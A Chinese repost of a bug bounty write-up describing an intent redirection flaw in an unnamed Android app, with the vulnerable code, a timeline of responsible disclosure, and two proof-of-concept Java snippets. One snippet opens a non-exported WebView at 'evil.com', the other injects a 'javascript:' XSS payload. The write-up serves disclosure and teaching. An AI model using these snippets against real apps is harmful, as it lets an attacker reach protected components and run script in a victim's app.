我在 Android 移动应用程序中发现的一个有趣的 Bug

admin 2024年7月4日14:26:17评论2 views字数 1908阅读6分21秒阅读模式

我在 Android 移动应用程序中发现的一个有趣的 Bug

我写这篇文章是为了分享我在 hackerone 的一个私人 bugbounty 程序中发现的一个有趣的 bug,首先我要感谢赛义德·阿卜杜勒哈菲兹帮助我开始做安卓渗透测试,并指导我,当然谢尔盖·托辛他的写作让我们从应用程序开始我们的旅程

此次攻击中有 2 项活动

  • 第一个是活动(未导出),我们称之为“com.activity.webview”

  • 第二个是(导出的)```com.Deeplink Splash activity```

我在 Android 移动应用程序中发现的一个有趣的 Bug

首先,我下载了 apk com.private.mobileapp。然后开始进行静态分析,我发现下面的活动容易受到意图重定向的攻击,这是因为它使用了隐式意图,这可能导致打开未导出的活动和内容提供程序

DirectDeeplinkSplashactivity.java

homeActivityIntent = (android.content.Intent) intent2.getParcelableExtra("referrerActivity");       } else {           homeActivityIntent = activity.getHomeActivityIntent();       }       activity.startActivity(homeActivityIntent);

许多开发人员利用此功能并创建代理组件(活动、广播接收器和服务),这些组件接受嵌入的 Intent 并将其传递给危险方法,如startActivity()sendBroadcast()等。这很危险,因为攻击者可以强制应用启动无法直接从其他应用启动的非导出组件,或者授予攻击者访问其内容提供商的权限。有时还会使用方法WebView将 URL 从字符串更改为对象,然后将其传递给。这违反了 Android 的安全设计IntentIntent.parseUri()startActivity()在查看了我们可以访问的受保护内容后,我发现了一个未导出活动的 webview,它以 url 作为参数那么让我们从概念证明开始吧:-

主程序

            Intent  extra  =  new  Intent ();             extra.setClassName( "com.private.mobileapp" , "com.activity.webview" );             extra.putExtra( "url" , "http://evil.com/" );             Intent  intent  =  new  Intent ();             intent.setClassName( "com.private.mobileapp" , "com.DirectDeeplinkSplashactivity" );             intent.putExtra( "referrerActivity" , extra);             startActivity(intent);

运行移动应用程序 Boom 后,它就起作用了

我在 Android 移动应用程序中发现的一个有趣的 Bug

让我们尝试一些 XSS payload 来提高影响力

主程序

            Intent extra = new Intent();            extra.setClassName("com.private.mobileapp", "com.activity.webview");            extra.putExtra("url", "javascript://legitimate.com/%0aalert(1)");            Intent intent = new Intent();            intent.setClassName("com.private.mobileapp", "com.DirectDeeplinkSplashactivity");            intent.putExtra("referrerActivity", extra);            startActivity(intent);

然后我们收到了漂亮的警报

我在 Android 移动应用程序中发现的一个有趣的 Bug

此时我决定先报告这个问题,他们试图提高影响力来访问一些私人文件(数据/数据/..)或访问未导出的内容提供商,但权限处理得很完美,所以我无法达到更高的水平

我在 Android 移动应用程序中发现的一个有趣的 Bug

  • 5 月 19 日报道

  • 5 月 21 日分类

  • 内部团队进行了分类,并决定将其定为中等严重程度 5 月 28 日

类似漏洞:https://blog.oversecured.com/Android-Access-to-app-protected-components/

An interesting Bug that I found in Android Mobile Applicationhttps://medium.com/@jooelsaka/an-interesting-bug-that-i-found-in-android-mobile-application-becf25c8c4d8

原文始发于微信公众号(Ots安全):我在 Android 移动应用程序中发现的一个有趣的 Bug

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日14:26:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   我在 Android 移动应用程序中发现的一个有趣的 Bughttps://cn-sec.com/archives/2800601.html

发表评论

匿名网友 填写信息